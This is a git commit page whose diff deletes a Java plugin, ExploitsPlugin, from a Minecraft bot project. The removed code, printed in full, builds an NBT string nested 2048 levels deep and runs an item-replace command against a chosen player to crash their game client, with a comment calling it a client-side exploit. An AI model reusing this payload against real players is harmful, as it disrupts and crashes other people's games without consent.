then actually remove it !!!
This commit is contained in:
parent
153f99d636
commit
324793a00d
1 changed files with 0 additions and 29 deletions
|
@ -1,29 +0,0 @@
|
||||||
package land.chipmunk.chayapak.chomens_bot.plugins;
|
|
||||||
|
|
||||||
import land.chipmunk.chayapak.chomens_bot.Bot;
|
|
||||||
import land.chipmunk.chayapak.chomens_bot.util.UUIDUtilities;
|
|
||||||
|
|
||||||
import java.util.UUID;
|
|
||||||
|
|
||||||
public class ExploitsPlugin {
|
|
||||||
private final Bot bot;
|
|
||||||
|
|
||||||
public ExploitsPlugin (Bot bot) {
|
|
||||||
this.bot = bot;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void kick (UUID uuid) {
|
|
||||||
// this is a client-side exploit so i think leaking it shouldn't be a problem..,.,
|
|
||||||
String nbt = "{a:".repeat(2048) +
|
|
||||||
"''" +
|
|
||||||
"}".repeat(2048);
|
|
||||||
|
|
||||||
bot.core().run(
|
|
||||||
String.format(
|
|
||||||
"minecraft:item replace entity %s inventory.0 with minecraft:stone%s",
|
|
||||||
UUIDUtilities.selector(uuid),
|
|
||||||
nbt
|
|
||||||
)
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
Loading…
Add table
Add a link
Reference in a new issue